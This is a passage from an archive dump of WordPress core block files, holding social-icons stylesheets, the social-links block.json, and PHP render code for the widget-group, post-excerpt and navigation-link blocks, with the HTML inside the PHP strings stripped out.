#d32422; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a { padding-right: calc((2/3) * 1em); padding-left: calc((2/3) * 1em); }blocks/social-links/editor.min.css000064400000003703147177035020013204 0ustar00.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;opacity:.8;list-style:none}.wp-block-social-links__social-placeholder>.wp-social-link{padding-left:0!important;margin-left:0!important;padding-right:0!important;margin-right:0!important;width:0!important;visibility:hidden}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{content:"";display:block;width:1em;height:1em;border-radius:50%}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{min-height:24px;list-style:none;order:2;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;margin-top:auto;margin-bottom:auto;cursor:default;padding-right:8px}.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-duration:0s;transition-delay:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}blocks/social-links/block.json000064400000003310147177035020012401 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/social-links", "title": "Social Icons", "category": "widgets", "description": "Display icons linking to your social media profiles or sites.", "keywords": [ "links" ], "textdomain": "default", "attributes": { "iconColor": { "type": "string" }, "customIconColor": { "type": "string" }, "iconColorValue": { "type": "string" }, "iconBackgroundColor": { "type": "string" }, "customIconBackgroundColor": { "type": "string" }, "iconBackgroundColorValue": { "type": "string" }, "openInNewTab": { "type": "boolean", "default": false }, "showLabels": { "type": "boolean", "default": false }, "size": { "type": "string" } }, "providesContext": { "openInNewTab": "openInNewTab", "showLabels": "showLabels", "iconColorValue": "iconColorValue", "iconBackgroundColorValue": "iconBackgroundColorValue" }, "supports": { "align": [ "left", "center", "right" ], "anchor": true, "__experimentalExposeControlsToChildren": true, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "allowVerticalAlignment": false, "default": { "type": "flex" } }, "spacing": { "blockGap": [ "horizontal", "vertical" ], "margin": [ "top", "bottom" ], "units": [ "px", "em", "rem", "vh", "vw" ], "__experimentalDefaultControls": { "blockGap": true } } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "logos-only", "label": "Logos Only" }, { "name": "pill-shape", "label": "Pill Shape" } ], "editorStyle": "wp-block-social-links-editor", "style": "wp-block-social-links" } blocks/social-links/style-rtl.min.css000064400000022550147177035020013656 0ustar00.wp-block-social-links{padding-right:0;padding-left:0;text-indent:0;margin-right:0;background:none}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{text-decoration:none;border-bottom:0;box-shadow:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{width:1em;height:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){margin-right:.5em;margin-left:.5em;font-size:.65em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{justify-content:center;display:flex}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{display:block;border-radius:9999px;transition:transform .1s ease;height:auto}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-duration:0s;transition-delay:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#fe4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{width:1.25em;height:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#fe4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-right:.66667em;padding-left:.66667em}blocks/social-links/editor-rtl.min.css000064400000003703147177035020014003 0ustar00.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;opacity:.8;list-style:none}.wp-block-social-links__social-placeholder>.wp-social-link{padding-right:0!important;margin-right:0!important;padding-left:0!important;margin-left:0!important;width:0!important;visibility:hidden}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-right:.66667em;padding-left:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{content:"";display:block;width:1em;height:1em;border-radius:50%}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{min-height:24px;list-style:none;order:2;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;margin-top:auto;margin-bottom:auto;cursor:default;padding-left:8px}.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-duration:0s;transition-delay:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}blocks/social-links/style.css000064400000027555147177035020012307 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-social-links { padding-left: 0; padding-right: 0; text-indent: 0; margin-left: 0; background: none; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link a { padding: 0.25em; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text) { margin-left: 0.5em; margin-right: 0.5em; font-size: 0.65em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-block-social-link { display: block; border-radius: 9999px; transition: transform 0.1s ease; height: auto; } @media (prefers-reduced-motion: reduce) { .wp-block-social-link { transition-duration: 0s; transition-delay: 0s; } } .wp-block-social-link a { align-items: center; display: flex; line-height: 0; transition: transform 0.1s ease; } .wp-block-social-link:hover { transform: scale(1.1); } .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited, .wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg { color: currentColor; fill: currentColor; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link { background-color: #f0f0f0; color: #444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon { background-color: #f90; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance { background-color: #0757fe; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy { background-color: #f45800; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook { background-color: #1778f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github { background-color: #24292d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google { background-color: #ea4434; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram { background-color: #f00075; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon { background-color: #3288d4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium { background-color: #02ab6c; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon { background-color: #ff424d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit { background-color: #fe4500; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype { background-color: #0478d7; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr { background-color: #011835; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk { background-color: #4680c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp { background-color: #d32422; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube { background-color: #f00; color: #fff; } .wp-block-social-links.is-style-logos-only .wp-social-link { background: none; } .wp-block-social-links.is-style-logos-only .wp-social-link a { padding: 0; } .wp-block-social-links.is-style-logos-only .wp-social-link svg { width: 1.25em; height: 1.25em; } .wp-block-social-links.is-style-logos-only .wp-social-link-amazon { color: #f90; } .wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp { color: #1ea0c3; } .wp-block-social-links.is-style-logos-only .wp-social-link-behance { color: #0757fe; } .wp-block-social-links.is-style-logos-only .wp-social-link-codepen { color: #1e1f26; } .wp-block-social-links.is-style-logos-only .wp-social-link-deviantart { color: #02e49b; } .wp-block-social-links.is-style-logos-only .wp-social-link-dribbble { color: #e94c89; } .wp-block-social-links.is-style-logos-only .wp-social-link-dropbox { color: #4280ff; } .wp-block-social-links.is-style-logos-only .wp-social-link-etsy { color: #f45800; } .wp-block-social-links.is-style-logos-only .wp-social-link-facebook { color: #1778f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-flickr { color: #0461dd; } .wp-block-social-links.is-style-logos-only .wp-social-link-foursquare { color: #e65678; } .wp-block-social-links.is-style-logos-only .wp-social-link-github { color: #24292d; } .wp-block-social-links.is-style-logos-only .wp-social-link-goodreads { color: #382110; } .wp-block-social-links.is-style-logos-only .wp-social-link-google { color: #ea4434; } .wp-block-social-links.is-style-logos-only .wp-social-link-instagram { color: #f00075; } .wp-block-social-links.is-style-logos-only .wp-social-link-lastfm { color: #e21b24; } .wp-block-social-links.is-style-logos-only .wp-social-link-linkedin { color: #0d66c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-mastodon { color: #3288d4; } .wp-block-social-links.is-style-logos-only .wp-social-link-medium { color: #02ab6c; } .wp-block-social-links.is-style-logos-only .wp-social-link-meetup { color: #f6405f; } .wp-block-social-links.is-style-logos-only .wp-social-link-patreon { color: #ff424d; } .wp-block-social-links.is-style-logos-only .wp-social-link-pinterest { color: #e60122; } .wp-block-social-links.is-style-logos-only .wp-social-link-pocket { color: #ef4155; } .wp-block-social-links.is-style-logos-only .wp-social-link-reddit { color: #fe4500; } .wp-block-social-links.is-style-logos-only .wp-social-link-skype { color: #0478d7; } .wp-block-social-links.is-style-logos-only .wp-social-link-snapchat { color: #fff; stroke: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud { color: #ff5600; } .wp-block-social-links.is-style-logos-only .wp-social-link-spotify { color: #1bd760; } .wp-block-social-links.is-style-logos-only .wp-social-link-telegram { color: #2aabee; } .wp-block-social-links.is-style-logos-only .wp-social-link-tiktok { color: #000; } .wp-block-social-links.is-style-logos-only .wp-social-link-tumblr { color: #011835; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitch { color: #6440a4; } .wp-block-social-links.is-style-logos-only .wp-social-link-twitter { color: #1da1f2; } .wp-block-social-links.is-style-logos-only .wp-social-link-vimeo { color: #1eb7ea; } .wp-block-social-links.is-style-logos-only .wp-social-link-vk { color: #4680c2; } .wp-block-social-links.is-style-logos-only .wp-social-link-wordpress { color: #3499cd; } .wp-block-social-links.is-style-logos-only .wp-social-link-yelp { color: #d32422; } .wp-block-social-links.is-style-logos-only .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } .wp-block-social-links.is-style-pill-shape .wp-social-link a { padding-left: calc((2/3) * 1em); padding-right: calc((2/3) * 1em); }blocks/widget-group.php000064400000004166147177035020011164 0ustar00'; $after_title = ''; } $html = ''; if ( ! empty( $attributes['title'] ) ) { $html .= $before_title . esc_html( $attributes['title'] ) . $after_title; } $html .= '
    '; foreach ( $block->inner_blocks as $inner_block ) { $html .= $inner_block->render(); } $html .= '
    '; return $html; } /** * Registers the 'core/widget-group' block. */ function register_block_core_widget_group() { register_block_type_from_metadata( __DIR__ . '/widget-group', array( 'render_callback' => 'render_block_core_widget_group', ) ); } add_action( 'init', 'register_block_core_widget_group' ); /** * Make a note of the sidebar being rendered before WordPress starts rendering * it. This lets us get to the current sidebar in * render_block_core_widget_group(). * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ function note_sidebar_being_rendered( $index ) { global $_sidebar_being_rendered; $_sidebar_being_rendered = $index; } add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' ); /** * Clear whatever we set in note_sidebar_being_rendered() after WordPress * finishes rendering a sidebar. */ function discard_sidebar_being_rendered() { global $_sidebar_being_rendered; unset( $_sidebar_being_rendered ); } add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' ); blocks/post-excerpt.php000064400000004671147177035020011205 0ustar00context['postId'] ) ) { return ''; } $excerpt = get_the_excerpt(); if ( empty( $excerpt ) ) { return ''; } $more_text = ! empty( $attributes['moreText'] ) ? '' . wp_kses_post( $attributes['moreText'] ) . '' : ''; $filter_excerpt_more = function( $more ) use ( $more_text ) { return empty( $more_text ) ? $more : ''; }; /** * Some themes might use `excerpt_more` filter to handle the * `more` link displayed after a trimmed excerpt. Since the * block has a `more text` attribute we have to check and * override if needed the return value from this filter. * So if the block's attribute is not empty override the * `excerpt_more` filter and return nothing. This will * result in showing only one `read more` link at a time. */ add_filter( 'excerpt_more', $filter_excerpt_more ); $classes = ''; if ( isset( $attributes['textAlign'] ) ) { $classes .= "has-text-align-{$attributes['textAlign']}"; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); $content = '

    ' . $excerpt; $show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine']; if ( $show_more_on_new_line && ! empty( $more_text ) ) { $content .= '

    ' . $more_text . '

    '; } else { $content .= " $more_text

    "; } remove_filter( 'excerpt_more', $filter_excerpt_more ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/post-excerpt` block on the server. */ function register_block_core_post_excerpt() { register_block_type_from_metadata( __DIR__ . '/post-excerpt', array( 'render_callback' => 'render_block_core_post_excerpt', ) ); } add_action( 'init', 'register_block_core_post_excerpt' ); blocks/navigation-link.php000064400000025727147177035020011647 0ustar00 array(), 'inline_styles' => '', ); $is_sub_menu = isset( $attributes['isTopLevelLink'] ) ? ( ! $attributes['isTopLevelLink'] ) : false; // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_link_render_submenu_icon() { return ''; } /** * Renders the `core/navigation-link` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function 